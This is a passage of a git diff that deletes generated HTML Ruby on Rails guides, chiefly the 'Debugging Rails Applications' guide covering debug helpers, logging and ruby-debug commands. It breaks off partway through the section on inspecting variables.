-<h3 id="_final_plugin_directory_structure">15.3. Final plugin directory structure</h3>
-<div class="paragraph"><p>The final plugin should have a directory structure that looks something like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>|-- MIT-LICENSE
-|-- README
-|-- Rakefile
-|-- generators
-| |-- yaffle_definition
-| | |-- USAGE
-| | |-- templates
-| | | `-- definition.txt
-| | `-- yaffle_definition_generator.rb
-| |-- yaffle_migration
-| | |-- USAGE
-| | |-- templates
-| | `-- yaffle_migration_generator.rb
-| `-- yaffle_route
-| |-- USAGE
-| |-- templates
-| `-- yaffle_route_generator.rb
-|-- install.rb
-|-- lib
-| |-- app
-| | |-- controllers
-| | | `-- woodpeckers_controller.rb
-| | |-- helpers
-| | | `-- woodpeckers_helper.rb
-| | `-- models
-| | `-- woodpecker.rb
-| |-- db
-| | `-- migrate
-| | `-- 20081116181115_create_birdhouses.rb
-| |-- yaffle
-| | |-- acts_as_yaffle.rb
-| | |-- commands.rb
-| | |-- core_ext.rb
-| | `-- routing.rb
-| `-- yaffle.rb
-|-- pkg
-| `-- yaffle-0.0.1.gem
-|-- rails
-| `-- init.rb
-|-- tasks
-| `-- yaffle_tasks.rake
-|-- test
-| |-- acts_as_yaffle_test.rb
-| |-- core_ext_test.rb
-| |-- database.yml
-| |-- debug.log
-| |-- definition_generator_test.rb
-| |-- migration_generator_test.rb
-| |-- route_generator_test.rb
-| |-- routes_test.rb
-| |-- schema.rb
-| |-- test_helper.rb
-| |-- woodpecker_test.rb
-| |-- woodpeckers_controller_test.rb
-| |-- wookpeckers_helper_test.rb
-| |-- yaffle_plugin.sqlite3.db
-| `-- yaffle_test.rb
-`-- uninstall.rb</tt></pre>
-</div></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/debugging_rails_applications.html b/railties/doc/guides/html/debugging_rails_applications.html
deleted file mode 100644
index 07557b9e99..0000000000
--- a/railties/doc/guides/html/debugging_rails_applications.html
+++ /dev/null
@@ -1,992 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Debugging Rails Applications</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_view_helpers_for_debugging">View Helpers for Debugging</a>
- <ul>
-
- <li><a href="#_debug">debug</a></li>
-
- <li><a href="#_to_yaml">to_yaml</a></li>
-
- <li><a href="#_inspect">inspect</a></li>
-
- <li><a href="#_debugging_javascript">Debugging Javascript</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_the_logger">The Logger</a>
- <ul>
-
- <li><a href="#_what_is_the_logger">What is The Logger?</a></li>
-
- <li><a href="#_log_levels">Log Levels</a></li>
-
- <li><a href="#_sending_messages">Sending Messages</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_debugging_with_ruby_debug">Debugging with ruby-debug</a>
- <ul>
-
- <li><a href="#_setup">Setup</a></li>
-
- <li><a href="#_the_shell">The Shell</a></li>
-
- <li><a href="#_the_context">The Context</a></li>
-
- <li><a href="#_threads">Threads</a></li>
-
- <li><a href="#_inspecting_variables">Inspecting Variables</a></li>
-
- <li><a href="#_step_by_step">Step by Step</a></li>
-
- <li><a href="#_breakpoints">Breakpoints</a></li>
-
- <li><a href="#_catching_exceptions">Catching Exceptions</a></li>
-
- <li><a href="#_resuming_execution">Resuming Execution</a></li>
-
- <li><a href="#_editing">Editing</a></li>
-
- <li><a href="#_quitting">Quitting</a></li>
-
- <li><a href="#_settings">Settings</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_debugging_memory_leaks">Debugging Memory Leaks</a>
- <ul>
-
- <li><a href="#_bleakhouse">BleakHouse</a></li>
-
- <li><a href="#_valgrind">Valgrind</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_plugins_for_debugging">Plugins for Debugging</a>
- </li>
- <li>
- <a href="#_references">References</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Debugging Rails Applications</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Understand the purpose of debugging
-</p>
-</li>
-<li>
-<p>
-Track down problems and issues in your application that your tests aren&#8217;t identifying
-</p>
-</li>
-<li>
-<p>
-Learn the different ways of debugging
-</p>
-</li>
-<li>
-<p>
-Analyze the stack trace
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_view_helpers_for_debugging">1. View Helpers for Debugging</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>debug</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>to_yaml</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>inspect</tt>
-</p>
-</li>
-</ul></div>
-<h3 id="_debug">1.1. debug</h3>
-<div class="paragraph"><p>The <tt>debug</tt> helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= debug @post %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
- &lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You&#8217;ll see something like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>--- !ruby/object:Post
-attributes:
- updated_at: 2008-09-05 22:55:47
- body: It's a very helpful guide for debugging your Rails app.
- title: Rails debugging guide
- published: t
- id: "1"
- created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-
-Title: Rails debugging guide</tt></pre>
-</div></div>
-<h3 id="_to_yaml">1.2. to_yaml</h3>
-<div class="paragraph"><p>Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= simple_format @post.to_yaml %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
- &lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>to_yaml</tt> method converts the method to YAML format leaving it more readable, and then the <tt>simple_format</tt> helper is used to render each line as in the console. This is how <tt>debug</tt> method does its magic.</p></div>
-<div class="paragraph"><p>As a result of this, you will have something like this in your view:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>--- !ruby/object:Post
-attributes:
-updated_at: 2008-09-05 22:55:47
-body: It's a very helpful guide for debugging your Rails app.
-title: Rails debugging guide
-published: t
-id: "1"
-created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-Title: Rails debugging guide</tt></pre>
-</div></div>
-<h3 id="_inspect">1.3. inspect</h3>
-<div class="paragraph"><p>Another useful method for displaying object values is <tt>inspect</tt>, especially when working with arrays or hashes. This will print the object value as a string. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= [1, 2, 3, 4, 5].inspect %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;</span></span>
- &lt;%=h @post.title %&gt;
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Will be rendered as follows:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>[1, 2, 3, 4, 5]
-
-Title: Rails debugging guide</tt></pre>
-</div></div>
-<h3 id="_debugging_javascript">1.4. Debugging Javascript</h3>
-<div class="paragraph"><p>Rails has built-in support to debug RJS, to active it, set <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).</p></div>
-<div class="paragraph"><p>To enable it, add the following in the <tt>Rails::Initializer do |config|</tt> block inside <tt>environment.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>action_view<span style="color: #990000">[:</span>debug_rjs<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Or, at any time, setting <tt>ActionView::Base.debug_rjs</tt> to <em>true</em>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>debug_rjs <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on debugging javascript refer to <a href="http://getfirebug.com/">Firebug</a>, the popular debugger for Firefox.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_the_logger">2. The Logger</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.</p></div>
-<h3 id="_what_is_the_logger">2.1. What is The Logger?</h3>
-<div class="paragraph"><p>Rails makes use of Ruby&#8217;s standard <tt>logger</tt> to write log information. You can also substitute another logger such as <tt>Log4R</tt> if you wish.</p></div>
-<div class="paragraph"><p>You can specify an alternative logger in your <tt>environment.rb</tt> or any environment file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>Or in the <tt>Initializer</tt> section, add <em>any</em> of the following</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
-config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">By default, each log is created under <tt>RAILS_ROOT/log/</tt> and the log file name is <tt>environment_name.log</tt>.</td>
-</tr></table>
-</div>
-<h3 id="_log_levels">2.2. Log Levels</h3>
-<div class="paragraph"><p>When something is logged it&#8217;s printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the <tt>ActiveRecord::Base.logger.level</tt> method.</p></div>
-<div class="paragraph"><p>The available log levels are: <tt>:debug</tt>, <tt>:info</tt>, <tt>:warn</tt>, <tt>:error</tt>, and <tt>:fatal</tt>, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>log_level <span style="color: #990000">=</span> Logger<span style="color: #990000">::</span>WARN <span style="font-style: italic"><span style="color: #9A1900"># In any environment initializer, or</span></span>
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger<span style="color: #990000">.</span>level <span style="color: #990000">=</span> <span style="color: #993399">0</span> <span style="font-style: italic"><span style="color: #9A1900"># at any time</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This is useful when you want to log under development or staging, but you don&#8217;t want to flood your production log with unnecessary information.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">The default Rails log level is <tt>info</tt> in production mode and <tt>debug</tt> in development and test mode.</td>
-</tr></table>
-</div>
-<h3 id="_sending_messages">2.3. Sending Messages</h3>
-<div class="paragraph"><p>To write in the current log use the <tt>logger.(debug|info|warn|error|fatal)</tt> method from within a controller, model or mailer:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Person attributes hash: #{@person.attributes.inspect}"</span>
-logger<span style="color: #990000">.</span>info <span style="color: #FF0000">"Processing the request..."</span>
-logger<span style="color: #990000">.</span>fatal <span style="color: #FF0000">"Terminating application, raised unrecoverable error!!!"</span></tt></pre></div></div>
-<div class="paragraph"><p>Here&#8217;s an example of a method instrumented with extra logging:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
- logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"New post: #{@post.attributes.inspect}"</span>
- logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Post should be valid: #{@post.valid?}"</span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>save
- flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully created.'</span>
- logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"The post was saved and now is the user is going to be redirected..."</span>
- redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Here&#8217;s an example of the log generated by this method:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
- Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
-vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
- Parameters: {"commit"=&gt;"Create", "post"=&gt;{"title"=&gt;"Debugging Rails",
- "body"=&gt;"I'm learning how to print in logs!!!", "published"=&gt;"0"},
- "authenticity_token"=&gt;"2059c1286e93402e389127b1153204e0d1e275dd", "action"=&gt;"create", "controller"=&gt;"posts"}
-New post: {"updated_at"=&gt;nil, "title"=&gt;"Debugging Rails", "body"=&gt;"I'm learning how to print in logs!!!",
- "published"=&gt;false, "created_at"=&gt;nil}
-Post should be valid: true
- Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
- 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
-The post was saved and now is the user is going to be redirected...
-Redirected to #&lt;Post:0x20af760&gt;
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]</tt></pre>
-</div></div>
-<div class="paragraph"><p>Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.</p></div>
-</div>
-<h2 id="_debugging_with_ruby_debug">3. Debugging with ruby-debug</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.</p></div>
-<div class="paragraph"><p>The debugger can also help you if you want to learn about the Rails source code but don&#8217;t know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.</p></div>
-<h3 id="_setup">3.1. Setup</h3>
-<div class="paragraph"><p>The debugger used by Rails, <tt>ruby-debug</tt>, comes as a gem. To install it, just run:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ sudo gem install ruby-debug</tt></pre></div></div>
-<div class="paragraph"><p>In case you want to download a particular version or get the source code, refer to the <a href="http://rubyforge.org/projects/ruby-debug/">project&#8217;s page on rubyforge</a>.</p></div>
-<div class="paragraph"><p>Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the <tt>debugger</tt> method.</p></div>
-<div class="paragraph"><p>Here&#8217;s an example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PeopleController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
- debugger
- <span style="color: #009900">@person</span> <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you see the message in the console or logs:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>***** Debugger requested, but was not available: Start server with --debugger to enable *****</tt></pre>
-</div></div>
-<div class="paragraph"><p>Make sure you have started your web server with the option <tt>--debugger</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">~</span>/PathTo/rails_project$ script/server --debugger
-<span style="color: #990000">=&gt;</span> Booting Mongrel <span style="color: #990000">(</span>use <span style="color: #FF0000">'script/server webrick'</span> to force WEBrick<span style="color: #990000">)</span>
-<span style="color: #990000">=&gt;</span> Rails <span style="color: #993399">2.2</span><span style="color: #990000">.</span><span style="color: #993399">0</span> application starting on http<span style="color: #990000">://</span><span style="color: #993399">0.0</span><span style="color: #990000">.</span><span style="color: #993399">0.0</span><span style="color: #990000">:</span><span style="color: #993399">3000</span>
-<span style="color: #990000">=&gt;</span> Debugger enabled
-<span style="color: #990000">...</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In development mode, you can dynamically &#8216;require 'ruby-debug\&#8217;<tt> instead of restarting the server, if it was started without `--debugger</tt>.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>In order to use Rails debugging you&#8217;ll need to be running either <strong>WEBrick</strong> or <strong>Mongrel</strong>. For the moment, no alternative servers are supported.</p></div>
-<h3 id="_the_shell">3.2. The Shell</h3>
-<div class="paragraph"><p>As soon as your application calls the <tt>debugger</tt> method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug&#8217;s prompt <tt>(rdb:n)</tt>. The <em>n</em> is the thread number. The prompt will also show you the next line of code that is waiting to run.</p></div>
-<div class="paragraph"><p>If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.</p></div>
-<div class="paragraph"><p>For example:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>@posts = Post.find(:all)
-(rdb:7)</tt></pre>
-</div></div>
-<div class="paragraph"><p>Now it&#8217;s time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: <tt>help</tt> (You didn&#8217;t see that coming, right?)</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:7) help
-ruby-debug help v0.10.2
-Type 'help &lt;command-name&gt;' for help on a specific command
-
-Available commands:
-backtrace delete enable help next quit show trace
-break disable eval info p reload source undisplay
-catch display exit irb pp restart step up
-condition down finish list ps save thread var
-continue edit frame method putl set tmate where</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">To view the help menu for any command use <tt>help &lt;command-name&gt;</tt> in active debug mode. For example: <em>+help var+</em></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The next command to learn is one of the most useful: <tt>list</tt>. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use <tt>l</tt> for the <tt>list</tt> command.</p></div>
-<div class="paragraph"><p>This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by <tt>=&gt;</tt>.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:7) list
-[1, 10] in /PathToProject/posts_controller.rb
- 1 class PostsController &lt; ApplicationController
- 2 # GET /posts
- 3 # GET /posts.xml
- 4 def index
- 5 debugger
-=&gt; 6 @posts = Post.find(:all)
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.xml { render :xml =&gt; @posts }</tt></pre>
-</div></div>
-<div class="paragraph"><p>If you repeat the <tt>list</tt> command, this time using just <tt>l</tt>, the next ten lines of the file will be printed out.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
- 11 end
- 12 end
- 13
- 14 # GET /posts/1
- 15 # GET /posts/1.xml
- 16 def show
- 17 @post = Post.find(params[:id])
- 18
- 19 respond_to do |format|
- 20 format.html # show.html.erb</tt></pre>
-</div></div>
-<div class="paragraph"><p>And so on until the end of the current file. When the end of file is reached, the <tt>list</tt> command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.</p></div>
-<h3 id="_the_context">3.3. The Context</h3>
-<div class="paragraph"><p>When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.</p></div>
-<div class="paragraph"><p>ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.</p></div>
-<div class="paragraph"><p>At any time you can call the <tt>backtrace</tt> command (or its alias <tt>where</tt>) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then <tt>backtrace</tt> will supply the answer.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) where
- #0 PostsController.index
- at line /PathTo/project/app/controllers/posts_controller.rb:6
- #1 Kernel.send
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
- #2 ActionController::Base.perform_action_without_filters
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
- #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
-...</tt></pre>
-</div></div>
-<div class="paragraph"><p>You move anywhere you want in this trace (thus changing the context) by using the <tt>frame <em>n</em></tt> command, where <em>n</em> is the specified frame number.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
- at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175</tt></pre>
-</div></div>
-<div class="paragraph"><p>The available variables are the same as if you were running the code line by line. After all, that&#8217;s what debugging is.</p></div>
-<div class="paragraph"><p>Moving up and down the stack frame: You can use <tt>up [n]</tt> (<tt>u</tt> for abbreviated) and <tt>down [n]</tt> commands in order to change the context <em>n</em> frames up or down the stack respectively. <em>n</em> defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.</p></div>
-<h3 id="_threads">3.4. Threads</h3>
-<div class="paragraph"><p>The debugger can list, stop, resume and switch between running threads by using the command <tt>thread</tt> (or the abbreviated <tt>th</tt>). This command has a handful of options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>thread</tt> shows the current thread.
-</p>
-</li>
-<li>
-<p>
-<tt>thread list</tt> is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-</p>
-</li>
-<li>
-<p>
-<tt>thread stop <em>n</em></tt> stop thread <em>n</em>.
-</p>
-</li>
-<li>
-<p>
-<tt>thread resume <em>n</em></tt> resumes thread <em>n</em>.
-</p>
-</li>
-<li>
-<p>
-<tt>thread switch <em>n</em></tt> switches the current thread context to <em>n</em>.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.</p></div>
-<h3 id="_inspecting_variables">3.5. Inspecting Variables</h3>
-<div class="paragraph"><p>Any expression can be evaluated in the current context. To evaluate an expression, just type it!</p></div>
-<div class="paragraph"><p>This example shows how you can print the instance_variables defined within the current context:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>@posts = Post.find(:all)
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]</tt></pre>
-</div></div>
-<div class="paragraph"><p>As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using <tt>next</tt> (you&#8217;ll learn more about this command later in this guide).</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
- Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
- Parameters: {"action"=&gt;"index", "controller"=&gt;"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|</tt></pre>
-</div></div>
-<div class="paragraph"><p>And then ask again for the instance_variables:</p></div>
-<div class="listingblock">
